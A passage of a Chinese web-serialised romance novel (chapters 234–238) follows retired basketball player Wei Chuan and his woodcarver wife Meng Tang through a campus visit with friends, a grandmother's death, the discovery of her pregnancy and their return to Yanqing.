孟棠转头看着魏川,她真的无数次庆幸当初遇见的人是魏川。 他看着幼稚,其实骨子里很有担当,对她的态度是全包容。 其实无条件迁就另一半,久了会很累,但魏川不知道怎么回事,退役后就爱黏着她,一点不见他烦。 魏川在孟棠面前打了个响指:“发什么呆呢,走了。” “我只是在想,整天跟我在一起,你不觉得枯燥吗?”孟棠早前和魏川约定过,不管有什么事都不能藏在心里,要明着说。 其实这条就是魏川专门为孟棠定制的,前几年他要打球,在雁清待得少之又少。 孟棠在雁清没什么能说得上心里话的朋友,她也爱藏着,魏川生怕顾及不到,才约法三章。 那几年……他怕孟棠想他,又怕孟棠不想他。 “不枯燥。”魏川开车出了库,“每个普通人不都这样过日子的吗?” 每天都在重复,重复的人,重复的事,还有……重复的心动。 光靠一个人的外表无法维持长时间的感情,当初那句“我爱她安静外表下常人没有的心性,仅这一条,就足够她把我攥在手心里一辈子”,从来不是说说而已。 负责如一的才叫男人吧,像他爸那样。 回到康铂,孟棠还稀奇地每个房间都逛了下,魏川看得想笑:“又不是没在这里住过。” 孟棠转身比出,两根手指:“两年没来了。” 魏川上前,将她搂进怀中晃了晃:“先去泡个澡吧,我现在叫餐。” “也行。”孟棠仰头亲了他一下,“我先去了?” 魏川摸了摸她的头:“去吧。” 魏川叫了餐,趁着孟棠洗澡的工夫,简易地布置了下露台。 鲜花蜡烛、红酒牛排都是公寓里管家准备的,这种服务式公寓基本要什么有什么。 忙完之后,他去敲了浴室的门。 孟棠有个毛病,一泡澡就睡着,他每次都得守着。 敲门声刚落下去,浴室的门开了,孟棠裹着睡袍,洇红着脸仰头说:“麻烦给我倒杯水。” “我现在就去。”魏川说,“你先换衣服,待会儿去露台吃饭。” “嗯。” 孟棠进了衣帽间,直接换了睡衣。 到露台后,她丝毫没有被烛光晚餐惊讶到,可见魏川平时没少做这样的事。 她端起面前的白水喝了一半,温度正好。 魏川在桌子对面朝她扬了下巴:“吃饭。” 康铂的夜景还是不错的,孟棠转头看向学校的方向:“一转眼毕业好多年,要不有空去z大看看?” 当年拍摄的油画婚纱照引得后面不少学弟学妹模仿,他俩的故事都成了校园情侣的典范。 魏川退役之后,各大平台就成了他秀恩爱的网络场所,但每一次,孟棠都不会入镜。 但粉丝们总能从魏川晒的照片里找出孟棠的痕迹,比如影子、墨镜里的倒影…… “好啊,约上许鹤清和谢泠音。”魏川说。 因为他俩在z市发展,所以私下里,他们四个见面比较多,另外一个就是谭曦了。 谭曦和孟棠的见面,甚至比谢泠音都要多,毕竟这两人同行,之前去国外宣扬木雕时,她俩同吃同住。 “他俩也不知道什么时候办婚礼。”孟棠说,“说不定到时候大家又可以聚一起了。” 魏川说:“应该快了,从去年开始他俩的工作节奏明显慢了下俩。” 本来他俩的婚礼应该赶在他和孟棠之后的,但计划赶不上变化,谢泠音一画成名,国内外来回跑,许鹤清忙着国内的公司,还得陪她一起。 两人高高兴兴奋斗了好几年的事业,将一切全都推后了,最后只领了个证。 去年许鹤清减少工作,魏川就知道他这次是真的要准备和谢泠音的婚礼了。 “也算苦尽甘来。”孟棠啜了口红酒,“泠音也挺要强的,跟家里关系不太好,还好他俩感情一直都不错。” 晚风拂过,喝喝酒聊聊天,孟棠很久没这样放松,心绪开阔后,不知不觉喝多了,最后窝在椅子上,呆呆地看着魏川。 魏川被他看得心里一软,起身走到她身边,小声又温柔地问:“怎么了?喝醉了?” 孟棠歪着头:“你怎么结婚这么久还是那么帅?” 魏川一下笑了:“难道我要像结婚后的大多数男人一样发福?挺着个大肚子。” “不要。”孟棠一下子清醒了不少,“你还是这样好看点。” 魏川摇了摇头,弯腰托住她的双臂绕过自己的脖颈,哄道:“走了,带你去刷牙。” 孟棠搂紧他,乖乖应了声。 从露台到浴室也没几步远,魏川将人放到盥洗台上,给她挤了牙膏。 孟棠看着他傻笑了声,眸底涌起醉色,她拨开魏川的手腕,拽住他的衣领将人拉进。 鼻息交缠,孟棠双眸半睁半阖地看着他:“魏川……” “嗯?” 魏川轻轻应了声。 “我们……”红酒的后劲燃烧着孟棠的身体,“生个孩子吧。” 魏川眸光倏地变暗,他将牙刷放到一旁,托起了孟棠的脸,盯着半晌,亲了下去。 熟悉的气息灌进口腔,孟棠勾住他的脖颈,沉溺爱欲…… 第234章 婚后(5) 翌日上午十点,魏川的手机催魂似的响了起来。 怀中的人呓语一声,挨着他的胸口蹭了蹭。 魏川伸长胳膊,拿了床头的手机,开了免提:“喂……” “大哥。”许鹤清的声音满是无语,“都十点了,您还睡呢?不是你昨天约我和泠音吃饭的吗?我一大早就来处理了一个多小时的公事,结果您还没起床。” 孟棠和魏川同时惊醒,看向彼此的眼神透着点清澈的愚蠢,以及那么点心虚。 “几点了?”孟棠做了个口型。 魏川将手机翻转给她看,孟棠拍了下他的胸口,小声道:“赶紧起床。” 魏川笑了声:“反正迟了。” “我可听到了啊。”许鹤清说,“泠音马上就到公司了,你俩赶紧的。” 孟棠掐了把魏川的腰:“赶紧起。” 魏川立刻坐了起来,龇牙咧嘴地说:“起了起了,你跟谢泠音稍微等一会儿。” “我先订餐厅吧。”许鹤清说,“直接去餐厅汇合,地址发你微信。” “行。” 魏川挂断了电话,和孟棠极速将自己收拾了一遍,出门的时候都快十一点了。 许鹤清定的餐厅在z大附近,他们以前上学的时候去过,魏川刚进包厢,开了句玩笑: “还没倒闭啊?” 孟棠从后面推了他一把,人家服务员刚走,也不怕被听到。 谢泠音许久不见孟棠,开心地抱住她晃了又晃:“我怎么感觉你瘦了?” 魏川坐下,哼了声:“神仙一位,每天都靠喝露水度过。” 谢泠音白了他一眼:“你是不是没照顾好我们孟棠。” “别听他瞎说。”孟棠拉住谢泠音,“一天三餐一顿不落,我本来就吃不胖。” 谢泠音低头看了看自己:“我一焦虑就爱吃东西,吃了就胖,胖了又去减,死循环了。” “有必要减吗?胖一点不也挺好的,你又不用当明星。”孟棠安慰她。 “你俩别聊了,看看要吃什么。”许鹤清打断她俩的谈话。 “你俩点呗。”谢泠音说,“我跟孟棠都多久没见了,再说了,你俩又不是不知道我和孟棠喜欢吃什么。” 许鹤清转头,对着魏川耸了下肩。 “我可知道我家孟棠喜欢吃什么,我来点。”魏川率先倒戈。 许鹤清:“……你还能再狗一点,刚才是谁让我叫她们点餐的?” 反正孟棠没听见,魏川索性不承认。 孟棠问谢泠音:“你和许鹤清因为工作,婚礼一推再推,打算什么时候举办?” “不是明年就是后年。”谢泠音说,“快了,你别急啊。” “我急什么?”孟棠哭笑不得,“我就好奇问问,上次石岚还在群里问你呢,不过那时候你没有确切的答案。” “我也好久没见石岚和杨可了。”谢泠音感叹了句,“毕业后,大家忙到在群里说话都聚不到一起。” 好在他们的群还算活跃,感情没减多少。 服务员依次上菜,孟棠和谢泠音坐在一起边吃边聊,从杨可和石岚的感情状况聊到了结婚生子。 “你俩打算什么时候要孩子?” “半年前就开始了。”孟棠小声回答谢泠音的话,“调理了一番身体,没有避孕了,但一直没什么动静。” “急什么?”谢泠音让她放宽心。 孟棠轻轻应了声。 吃完饭,四个人去了z大。 这会儿已经开学一个多月了,从门卫登记后,四个人进了学校。 这会儿应该是上课期间,路上没什么人。 孟棠感叹了句:“一晃那么多年,竟然没什么变化。” 谢泠音点了点头:“确实没什么变化,就是树木越长越高了。” 孟棠失笑:“我们进校的前两年才落成的艺体校区,当时还扩建了,学校里很多地方都是光秃秃的。” 魏川从身后追上来,揽了下孟棠的肩:“咱们分开逛吧,我们去以前的废弃篮球场看看。” 谢泠音自动落后:“那我和许鹤清去我们油画系了?” “好。”孟棠转头笑了声,“待会儿再见。” 孟棠和魏川沿着主路往男生宿舍的方向去,每走一段,都能勾起不少的回忆。 他们以前就是在这条路上偶遇、约会、嬉闹…… 不知道是时间太快,还是幸福太快,总觉得一眨眼就过了,恨不得多抓一些幸福的感觉。 五号楼男寝到了,魏川牵着孟棠从两栋楼间穿过,拐到了一条小路上。 “感觉这里变了。”魏川往远处看了眼,“好像翻修了,围墙也补了,加高了。” 孟棠一听,不禁加快了脚步。 一切都如魏川所说,变了,篮球场翻新了,再看不出以前破旧的样子,孟棠甚至能想象出晚饭后,不少男生来这里打球的场景,一定很热闹。 她转头对魏川笑了下:“这样也挺好,不然浪费了一块地。” 魏川突然轻笑了声,孟棠狐疑地仰起头:“笑什么?” 魏川扬了下下巴:“那边有个落了个篮球,走,带你打两圈。” 孟棠:“……” 又手痒了。 魏川揽住孟棠的后腰,将她往前推了一把:“走,陪我打一会儿。” “你也太看得起我了。”孟棠说。 这些年,魏川总把她往球场带,但孟棠实在没那个细胞。 魏川捡起球,扔给了孟棠,一声不吭,弯腰抱住了她的腰,将她整个人高高举起。 孟棠被吓了一跳,魏川赶紧说:“不会让你摔着,把球投进去。” 孟棠接近了篮球框,将球扔了进去。 “不错。”魏川昧着良心夸赞了句。 “什么啊。”孟棠觉得不好意思,“放我下来。” 魏川将她放下,捡起了球,背对着篮框将球扔了进去。 标准的耍帅,孟棠还能看不透他嘛,不过她还是意思意思鼓了掌。 魏川满意了,挑了下眉,拉着孟棠继续逛学校。 z大很大,两人逛了两三个小时,最后在植物园门口和许鹤清、谢泠音不期而遇。 在湖边坐了许久,直至落日降临,四个人才离开。 一起吃了饭后,双双告别。 孟棠今天显然心情不错,魏川看在眼里,记在心里,之后的几天,两人逛街吃饭看电影,还算惬意。 月底,孟棠因为一个非遗活动飞了一趟闽州,魏川这次没有陪同,老太太又入院了。 孟棠当天去当天回,正好听闻老太太不好的消息。 即便魏立峰花费了大量的钱财,老太太还是在两个月后,初冬之前离开了人世。 魏家忙了好一段日子,然而最挂心最歉疚的,是魏思琳。 老太太弥留之际还念着她,可她杳无音讯三个月,可见在执行一个不小的任务。 老太太过世,只有魏思琳缺席了。 这段时间,魏家的气氛很低迷,即便魏立峰作为大家长用“生老病死”宽慰了大家,但没什么作用。 魏立峰索性不管了,时间是治愈一切的良药,老太太刚离世,大家有悲伤的权利。 直至初冬降临,家里偶有笑语。 一天清晨,孟棠做了个梦,梦到了平静的水面突然涌来一条蛇,吓得她一个激灵翻身落地。 魏川被她的惊呼吓醒,几乎是扑过去查看了情况。 孟棠小腹一阵坠胀,紧紧蹙起了眉心,她心里有一股不好的预感,一把抓住了魏川的胳膊:“肚子有点不舒服。” 魏川的魂都快吓丢了,哆哆嗦嗦抱起人往楼下跑: “严叔……严叔……赶紧开车送我们去医院,孟棠摔了。” 楚茵和魏立峰穿着睡衣从房间里跑出来:“怎么摔了?” 魏川哪里有时间跟他们解释,拿了薄毯给孟棠裹起来就上了车。 楚茵跟在后面跑:“你不能等医生过来吗?” 魏立峰将楚茵拦下:“他担心着呢,叫不停,赶紧换衣服,去医院看看吧。” “对对。” 楚茵赶紧回房间换了衣服,简单洗漱后急匆匆赶往了私立医院。 到的时候,魏川一脸懵。 楚茵一巴掌拍他后背,急道:“孟棠怎么了?” 魏川陡然惊醒,嗫嚅道:“怀、怀孕了。” “怀孕是什么——”楚茵猛地一怔,“怀孕了?” “嗯嗯。” 楚茵和魏立峰对视一眼,欣喜由内而外。 魏立峰拍了拍魏川的肩膀:“孟棠人呢?” 魏川愣愣道:“歇着呢,我出来喘口气。” 知道她怀孕的消息,他差点一口气没喘上来,只能来长廊上冷静。 第235章 孕期(1) 孟棠抚着小腹,头脑空白了一瞬。 她和魏川不愧是夫妻,两人的吧表现几乎一模一样。 楚茵在她身边坐下,关切地问:“还有哪里不舒服吗?医生怎么说?” 孟棠摇摇头:“各种检查都做了,回家多休息就行,已经六周了。” “这段时间是辛苦你了,情绪一直绷着也不好。”楚茵握住孟棠的手,“那就先回家,让我的阿姨照顾你,她有经验得很。” “好。” 楚茵拿出手机,笑了声:“我给小川打电话,让他进来接你,那傻子一个人在走廊里发了好半天的呆。” 孟棠牵起嘴角,似乎已经想象到魏川犯傻的画面。 魏川接了楚茵的电话后,进了休息区,他有些无措地走到孟棠跟前,傻了吧唧地蹲了下去。 “回家了。”孟棠失笑,捏了下他的脸,“回去后,你还要把好消息告诉爷爷。” 楚茵也拍了下魏川:“傻小子,把你媳妇牵着,走了。” 魏川小心翼翼地要去托孟棠的手臂,还没碰到又换了只手,从她身后绕过去搂住了她的腰:“小心点。” 孟棠:“……我知道,不过就是怀孕,你这么紧张干什么?” “我控制不住。”魏川说。 他倒也想表现得轻松一点,但哪哪都不听指挥,身体都不是自己了的感觉。 “出息。”楚茵回眸取笑了声。 回到家后,魏川见孟棠要去客厅,一把将人拦下:“回楼上休息,尽量躺着,别忘了医生的话。” 孟棠应了声:“行。” 孩子不在自己肚子里,体会不到任何安定的感觉,魏川见孟棠抬脚上楼梯,赶紧拦着:“等一下,我抱你上去吧?” “……”孟棠转过身,平静地看着他。 魏川笑了声,恭敬地弯腰做了个“请”的手势:“你现在是祖宗。” 孟棠转身上楼,对跟在她身后的魏川说:“别一天到晚大惊小怪的,整得我是地球上第一个怀孕的人似的。” “我这是惊魂未定。”魏川辩解,“你从床上掉下来的,我现在心脏还是发麻的状态。” 孟棠轻笑:“好了,放轻松,早上也没怎么吃,去给我拿点吃的。” 魏川将人带到卧室,给她垫好枕头,说: “你放心,不出十分钟,我妈必然带着吃的上来,从医院回来的时候,她就打电话给阿姨了,现在呢,咱俩先给老爷子和方姐告一声喜讯,等你三个月后,我们回雁清。” “真的?”孟棠眼眸一亮,“真的回雁清?” “骗你干什么?”魏川在床边坐下将她颊边的发丝撩至耳后,“我相信方姐可以照顾好你,而且雁清空气好,院子又大,你喜欢雁清肯定大于这里。” 孟棠拽住魏川的一节手指:“我们走了,爸妈他们怎么办?奶奶刚过世没多久,他们或许需要你。” 魏思嘉整日忙着公司的事情,魏思沅进组了,他们一走,家里就彻底没人了。 魏川握紧她的手,说:“没事,现在家里以你为重,其实这个孩子来的正是时候。” 老太太过世后,每一天都不太得劲,只有今天,家里的氛围开始变了。 孟棠跟他在一起多年,哪能不知道他的想法,她抿唇一笑:“那就两个月后回雁清。” 她想老爷子和方姐了。 卧室的门被敲响,魏川转头让人进来,阿姨送了餐过来。 魏川示意她们摆在床头,又叮嘱了句孟棠:“慢慢吃,我去给老爷子报个喜。” “嗯。” 魏川去到阳台,给孟遇春打了电话。 他那手机难打得很,终于在铃声结束之前,有人接了:“喂?” “方姐?”魏川惊讶了声,“老爷子呢?怎么是你接的电话?” “后院呢,没听见,我见是你的号码,索性接了。” 魏川清了清嗓子:“你现在把手机拿给老爷子,找个地方让他坐下,我有事跟你们说。” 郑重其事,方姐狐疑地问:“什么事啊?” “待会儿再说。”魏川卖关子,“你先把手机拿过去,开免提。” 方姐将手机拿到后院,找到老爷子后朝他扬了扬手:“小魏,有事说。” 老爷子去接手机,方姐缩了回去:“他让我给您找个地方坐下,咱们坐下说。” “搞什么名堂。”老爷子吹胡子瞪眼。 “赶紧坐好啊。”魏川在手机里催促,“不然我就只跟方姐说了,保你后悔的。” “……” 兔崽子一个。 孟遇春拍了拍手上的木屑,抬手一挥,示意方姐将手机放在院里的石桌上。 坐下后,他看向手机:“说吧。” 魏川轻咳一声:“孟棠怀孕了!” “真的?”方姐喜不自禁,“多久了啊?她身体怎么样?” “六周,没事呢,今天早上去医院检查了,特地告诉你们一声,让你们高兴高兴。” 孟遇春拳头一下握紧,这要是生个男孩,他是不是可以抱在怀里教木雕了。 不是说女孩不好,女孩嘛,有点舍不得让她再学木雕了,太苦,男孩糙点没事。 当初把手艺传给孟棠,他也是无奈之举。 看着小孟棠流血结疤的手,他没到深夜都想反悔,不然孟棠学了,可第二天依旧什么也没说。 不过这些话,老爷子也只在心里想想,即便第一个孩子真的跟孟棠姓,也得尊重孩子的意愿。 万一就不是个学木雕的料,怎么教都没用。 手机里半晌没吱声,魏川又没大没小叫了声:“老头?” 孟遇春终于回神,问:“你们什么时候回来?” “再等两月吧,等稳定一点就回去。” “对对对。”孟遇春有些语无伦次,“前三个月要小心,你把她照顾好。” “行,我肯定把她照顾好。”魏川说,“您要不要跟孟棠说会儿话?” “不用,你让她休息。” 又聊了会儿,魏川才挂了电话。 方姐转头就走,被孟遇春叫住:“你去哪儿啊?” “扯两块好布。”方姐说,“按照日子推算,预产期在明年的六月底,给宝宝缝制点肚兜什么的。” 孟遇春颔首,转头进了工坊,既然如此,他应该也得送点什么。 两个月的时间一晃而过,回到雁清的时候,已经过了元旦。 第236章 孕期(2) 孟棠轻轻松松一个人走在前面,魏川大包小包跟在后面,眼睛盯着,嘴巴动着:“你慢点。” “知道了。”孟棠随意敷衍了一声。 方姐从屋里迎出来,抓住孟棠的胳膊上下将人打量了一番:“嗯,胖了点。” 要是平时,她早接过魏川手里的东西了,今天的注意力都在孟棠身上。 有方姐在,魏川放心了,径自将东西拎到院子里。 孟棠挽着方姐的手臂,边走表聊:“整天除了吃就是睡,能不胖吗?” “我看着挺好的。”方姐说,“小魏把你照顾得还不错。” 孟棠笑了笑:“他哪里会照顾人,整天就知道烦人,黏得紧。” 方姐“啧”了声:“黏得紧说明对你上心,不黏了你又开始焦虑了。” “谁焦虑了,明明是他烦。” “我哪儿烦了?”魏川放下东西往回迎她,就听到这么一句,立刻反驳了声。 “她害羞呢,怎么可能真烦你。”方姐赶紧给孟棠找补了一句。 魏川哼了声,从方姐手中接过孟棠,拦着她不让走:“是吗?” 孟棠被迫点头:“是是是。” “坐了好久的车,先进屋歇着。”魏川说。 “爷爷不在?”孟棠勾了勾脖子,“你没看见他吗?” 魏川摇摇头:“不知道在不在后院。” 话音刚落,孟遇春出现在两人身后,重重咳了声。 魏川转过身,见小老头精神矍铄,开了句玩笑:“看来您这段时间过得不错啊。” “哼,你不在没人捣乱,别提我有多惬意了。”孟遇春嘴硬道。 魏川也不拆穿,乐道:“前段时间让您翻字典,您翻了吗?” “姓魏还是姓孟啊?”老爷子故意问。 “姓孟啊。”魏川说,“我都入赘了,哪能姓魏啊。” 孟遇春忍不住勾起唇角:“你爸妈同意啊?” “我孩子,不我说了算吗?”魏川理直气壮。 “那也得看天赋。” “我跟孟棠的孩子,一定天赋异禀啊。”魏川自信十足,“外貌应该是最不值得一提的。” “外貌嘛,我承认。”孟遇春跟他斗嘴,“这天赋,只怕还要老天爷赏饭吃才行。” “我不管啊,反正儿子跟他妈姓,女儿得跟我姓。” “哦?”孟遇春看过去,“什么说法?” “我没来得及心疼孟棠,我还不能心疼我闺女了?”魏川握着孟棠的手捏了下,“我可舍不得我闺女学木雕啊。” “儿子你就舍得了,你这一碗水也端不平啊。”老爷子故意臊他。 孟棠用手肘抵了抵魏川:“跟你说过多少遍了,不论男女,只要有天赋,愿意学就行。” 魏川皱眉:“我继续抗议给我闺女学这个,虽然我知道我的抗议可能没什么用。” “她要是愿意学篮球,我也不会反对的。”孟棠对魏川笑了声,“学什么不苦,你操那么多心干什么?难道家里有钱,人生就只剩吃喝玩乐了?我敢保证,我们的孩子要是真的学纨绔那套做派,第一个收拾的人怕不是我。” 魏川自己就不是个吃喝玩乐的享乐主义者。 相反,他骨子里是争强好胜的,从小打篮球,每次都要争第一,改不了。 魏川被她说的噎了下,还真有可能。 老爷子笑了下:“好了,你俩坐车也累了,先休息会儿,六点半出来吃完饭。” “好嘞。” 魏川搂着孟棠进了屋,孟棠的每个房间里一尘不染,空气里漂浮着自然的果香。 “方姐有心了。”魏川帮着孟棠脱下大衣,“房间跟离开时一点区别都没有,只是少了丝人气。” 孟棠转身坐到床上,说:“我歇会儿,你要不要一起躺一躺?” “不躺了。”魏川蹲下身,替她脱了鞋,“你睡会儿,我去看看有没有什么需要帮忙的。” 只要魏川在,院里重一点的活都是他干的。 两三个月没回来,可能堆积了不少事。 出去一问,确实不少,小菜园的角落里堆积了不少杂物,快要过年了,这些破旧的杂物都得搬出去,清理一下边边角角。 魏川一身牛劲,老爷子指哪打哪,出去扔垃圾的时候,左邻右舍的老头见着他,左一句招呼右一句客气。 年老的叫他下棋,年轻的叫他打篮球。 魏川扬着大大的小脸一一婉拒:“不玩了,孟棠怀孕了,我得在家陪着呢。” 这话一撂,炸开了锅,紧接着一句又一句的“恭喜”灌进魏川的耳朵里。 魏川的脸都笑僵了。 忙了一身汗,他去浴室冲了个澡,转头想要抱着老婆亲一口时,孟棠已经醒了,睁着两只大眼睛滴溜溜地转。 魏川掀开床帘,看到这一幕觉得好笑:“想什么呢?” 孟棠侧过身,两手合拢枕在脸下,眨巴了下眼睛,说:“我突然想起来一件事。” “嗯?”魏川在床边坐下,“什么事?” 孟棠:“……当初还没三个月的时候,妈没让你跟别人说我怀孕的事,到现在,泠音他们好像还不知道。” “……我真忘了。”魏川笑了声,“我刚才还在大门口跟左邻右舍报了喜,怎么就把他们给忘了。” “赶紧的吧。”孟棠催了句,“到时候又得说你不仗义了。” 魏川掏出裤子口袋里的手机,刚要在群里通知这个重大消息,许鹤清先他一步发了个表情包。 魏川挑了下眉,下一秒,许鹤清发了信息:【同学们,我跟泠音的婚礼日期定下来了,明年六月,到时候一个都不能少。】 “卧槽……” 孟棠一愣:“怎么了?” 魏川将手机翻转给她看:“许鹤清和谢泠音明年六月办婚礼。” 孟棠的预产期就在六月。 “你先问一下几号。” 魏川赶紧在群里问:【具体几号?】 许鹤清:【9号。】 孟棠也拿到了手机,看到了信息,对魏川说:“九号还好啊,我的预产期在月底,可以去的。” 魏川蹙了蹙眉:“人太多了。” 孟棠:“没事,反正要去z市生,可能五月我们就得回去了,泠音的婚礼在9号,我的预产期是29号,相差那么多天呢。” 魏川点了点头,在群里发送了一条信息:【既然如此,我也告诉你们一个好消息吧。】 谢泠音发了个问号:【什么好消息?】 孟棠:【孟棠怀孕了,三个多月了。】 第237章 孕期(3) 魏川的信息让群里安静了两秒,随后开始刷屏—— “卧槽,真的假的?” “三个月了你才跟我们说?” “别大惊小怪,很多都是三个月稳定了才说的。” “恭喜我川哥,男孩女孩啊?” “男孩女孩,人家医院也不给说啊。” 魏川:【确实不知道性别。】 许鹤清:【恭喜恭喜,照这么算的话,六月份应该是预产期吧?】 孟棠赶紧回:【预产期在月底,你和泠音的婚礼,我跟魏川会去的。” 谢泠音:【如果不方便,也没关系的。】 孟棠:【放心,身体条件支持的话,我肯定要去。】 谢泠音:【行。】 魏川:【孟棠有我负责,你们忙你的,那天不用管我俩。】 许鹤清:【行,我们想管都不知道怎么管。】 魏川收了手机,拉着孟棠坐起来:“方姐给你准备了吃的,先去垫个肚子。” “还没到饭点?”孟棠看了眼手机,“我感觉自己睡了好久,原来才半小时吗?” 魏川笑了声:“你以为呢?” 孟棠借着他的力道起身,刚想说什么,手机响了起来。 见是魏思沅,孟棠开了免提。 “之前你客串,我主演的电视剧今晚八点空降,卧槽!” 孟棠一愣:“今晚播?不是说还得再等一个月吗?” 魏思沅:“平台应急调整的排播,记得看啊,作为推动男女主感情的关键人物,你可是第一集就出现了。” 孟棠看着挂掉的电话,愣愣看向魏川:“真的今晚播?” “她都这么说了,八九不离十。”魏川下床拿了她的鞋给她穿上,“赶紧出去,早点吃完,带着老头和方姐一块看电视。” 孟棠牵着孟棠出了房门,刚看到方姐就把这事说了。 “真的?”方姐两眼发光,“昨天还有一起跳舞的姐妹们问我家孟棠客串的电视剧什么时候播呢。” “那赶紧跟您的小姐妹说去吧。”魏川笑了声,“我先带孟棠去吃点东西。” “我做了鸡丝馄饨,饿了就先吃点。” “我去下。”魏川拦住往厨房走的方姐,“您歇着吧。” 本来魏川是双手不沾阳春水的,但在雁清待了一段日子,什么事情都需要自己做。 毕竟孟遇春和方姐都是自己动手,他也不好意思饭来张口,久而久之一些力所能及的活,魏川都能干。 “那你慢点,别烫着。”方姐叮嘱了声,“我去群里说一声,让她们都看。” “好。” 魏川烧了水,下了馄饨,给孟棠捞了12个,剩下的捞自己碗中了。 将馄饨端到餐桌,魏川小声叮嘱:“小心烫。” “嗯。”鲜香扑鼻,孟棠下意识咽了咽口水。 她想了很久方姐做的饭菜。 魏川不放心,拿了一只小碗给孟棠,用汤匙舀了两颗馄饨:“这样吃吧。” 孟棠接过去,道了声谢。 “到底为什么要道谢?”魏川又想气又想笑,“我给你做这些,不是应该的吗?” 怀孕本身是件辛苦的事,好在孟棠身体还行,只是早上起来会干呕,其余时间能吃能睡,搞得她一天到晚要摸好几遍肚子,总要怀疑里面是不是真的有娃了,每次都惹得楚茵哭笑不得。 天黑得早,孟遇春从外头回来,钻进厨房取暖。 方姐正好弄好了晚餐,吃饭的时候跟他说了电视剧播放的事情。 “那还不赶紧吃。”孟遇春加快速度,“吃完一起去看。” 魏川取笑他:“你一个老头看什么偶像剧?” “嘿,我还就看了。”孟遇春实在不服,“你管得那么宽干什么?” 魏川哼了声:“我可是为你好啊,魏思沅演技嘛,也就那样,里面谈情说爱的,我怕你肉麻。” “上来就谈情说爱?”孟遇春问,“前面没个过度?现在拍的电视剧都这么直接?” “嗯,就是这么直接,您还看吗?”魏川逗他。 “啧,中国人骨子里的矜持也是一种美。”孟遇春实在不理解,“可惜啊,很少有人能拍出来。” 孟棠无奈道:“爷爷,他逗您呢,这剧感情占比不大。” 孟遇春:“……臭小子。” 魏川朗声一笑:“我还以为什么都骗不过您呢。” 孟遇春咬牙,真想来一句“兔崽子”。 八点不到,一家四口齐聚客厅,平日里大家年龄差异大,所爱各有不同,除了春晚,倒是第一次围在一起看电视。 八点一到,电视剧正式播出。 魏川拿起手机,对着电视拍了张照片,发进了自己各大平台,给魏思沅做了个剧宣,顺手艾特了她。 粉丝满头雾水—— “嗯?什么意思?” “川哥认识这个小明星吗?” “给程允剧宣?你俩认识啊?” “这个程允好像是艺名啊,听说也姓魏。” 魏川看到这儿,挑了一个回复:我老婆客串,宣传一下。 粉丝更惊了—— “孟棠?就是那个结婚好多年,没露过一张正脸的嫂子?” “我川哥就是这么小气,退役后发的日常照都没露过嫂子,他自己倒是经常露脸。” “但其实……我们想看的是嫂子(狗头)” “谁敢艾特他看一眼,大家都惦记他老婆。” “顺手的事。” “卧槽!真的假的?你要这样说,我就要去尝尝咸淡了。” “这是给老婆剧宣吗?不过有可能啊,这部剧和木雕有关系哎。” “啊啊啊,快来,嫂子出场啦,开篇即出场。” “我靠,真的啊,来了来了。” 魏川得意地挑了下眉,把孟棠客串的部分看完,他又拿起了手机。 评论区已经被孟棠的剧照截图覆盖—— “哥,你有这样的嫂子,你拿什么输?” “嫂子还是原声嘛,可以啊,比一些演员都强。” “卧槽,嫂子有一种娱乐圈演员的新人美,谁懂啊?” “哥,哥……让嫂子吹来拍戏吧。” 魏川哼了声,回复:你嫂子怀孕了,再说了,这次客串完全是看在女主角是我亲姐的份上才接的。 一句话,直接暴露了他和魏思沅的关系。 当晚,热搜被魏川和魏思沅,以及电视剧相关热点占领了。 第238章 孕期(4) 两集结束,孟遇春点了点头:“演得还可以。” 老头多挑剔一人啊,魏川当即把他的评价发给了魏思沅:【不枉费你这几年上的表演课。】 魏思沅给他发了个问号:【你为什么把我们的关系暴露了?】 魏川:【那怎么了?你要瞒一辈子?】 魏思沅:【倒也没这个意思,算了,公开就公开吧。】 魏川啧了声,孟棠就着他的手看了眼手机聊天的内容,问: “你没有跟她的经纪人提前沟通这事吗?” “早就沟通过了,”魏川揽住孟棠,“小白哥也受够了魏思沅乱七八糟的流言,开个法拉利都被骂有干爹,大家不爽很久了,只不过是魏思沅一直不愿意公开罢了,她也不想想,现在谁不拼爹拼背景?” 孟棠:“三姐为什么不愿意公开?” 魏川:“公开了就代表全家都会暴露在公众视野里,粉丝和网友,甚至一些营销号都会对魏思沅相关的一切做出各种各样的解读。” 家人是底线,所以她不愿意暴露。 以前去看魏川比赛的时候,也被拍到过,但因为糊,掀不起一点水花,还被骂小糊咖去蹭热度的。 魏川对于这件事,一直和赵疏白统一战线,不爽很久了。 孟棠拿出手机,抵了下魏川:“有热搜了,你和三姐的词条。” 魏川拿过孟棠的手机,笑了声:“还在攀升呢,我私信都爆了。” “你评论区也都沦陷了。”孟棠拿过自己的手机,“不打算回应一下?” 魏川说:“魏思沅那边会回应的,我到时候转发一下,时间不早了,咱俩洗漱睡觉去。” 孟棠打了个哈欠:“好。” 等孟棠洗漱后进了卧室,魏思沅发了两张和魏川的合照,一张是小时候在草坪上拍的,一张是长大后同一个位置拍的。 姐弟俩长得也像,很有说服力。 今年或许也该魏思沅红了,电视剧播出的当晚数据很好看,讨论度也挺高。 再加上和魏川的关系曝光,贡献了一波又一波的热度。 总而言之,魏思雨这波出圈了一次,有了曝光和热度,名气自然也上去了。 孟棠因为客串也小小出圈了一波,还被魏川的粉丝科普了一下身份和实力。 不过这点热度,她是一点没接,整天躲在院子里,安安静静地……烤红薯。 “熟了没?”孟棠催促了声。 魏川用夹子按了按,让她再等会儿。 孟棠下意识噘了嘴,魏川见不得她这样,放下夹子,说:“要不我出去给你买吧?” 孟棠摇了摇头:“外面卖的一点不好吃。” “那再等会儿。”魏川哄她,“我先给你剥个板栗?” 孟棠只能退而求其次,点了点头。 方姐在一旁拨动火膛里的花生,笑道:“这一个冬天过来,小棠人都养懒了。” “懒就懒呗。”魏川说,“到了春天啊,她就该犯困了。” 孟棠踢了他一脚。 她现在已经显怀了,孕反几乎消失,孩子乖得很,一点不闹腾。 孟遇春和方姐都说像个文静的小姑娘。 魏川一听,高兴坏了,嘴里整天念叨着“闺女”。 孟棠有点无奈地问他:“你到底是凭什么确认我肚子里怀的是女孩?” “方姐说的啊。”魏川理直气壮,“我听说,她们这种年长的很会看肚子。” 孟棠“噗嗤”一声笑了:“方姐自己都没生过。” 魏川:“……” 他一直没问过方姐的事,觉得没礼貌。 “她没结过婚?” 孟棠摇摇头:“没结果,未婚夫意外离世后,她就来我们家了,一直没再嫁人。” 魏川一愣:“守了一辈子?” “嗯,”孟棠点了点头,“怎么说呢,以前的人,对感情有一种纯真的执着,来雁清的时候,她身无分文,爷爷看她可怜,就让她留下了。” 没想到,一留就是一辈子。 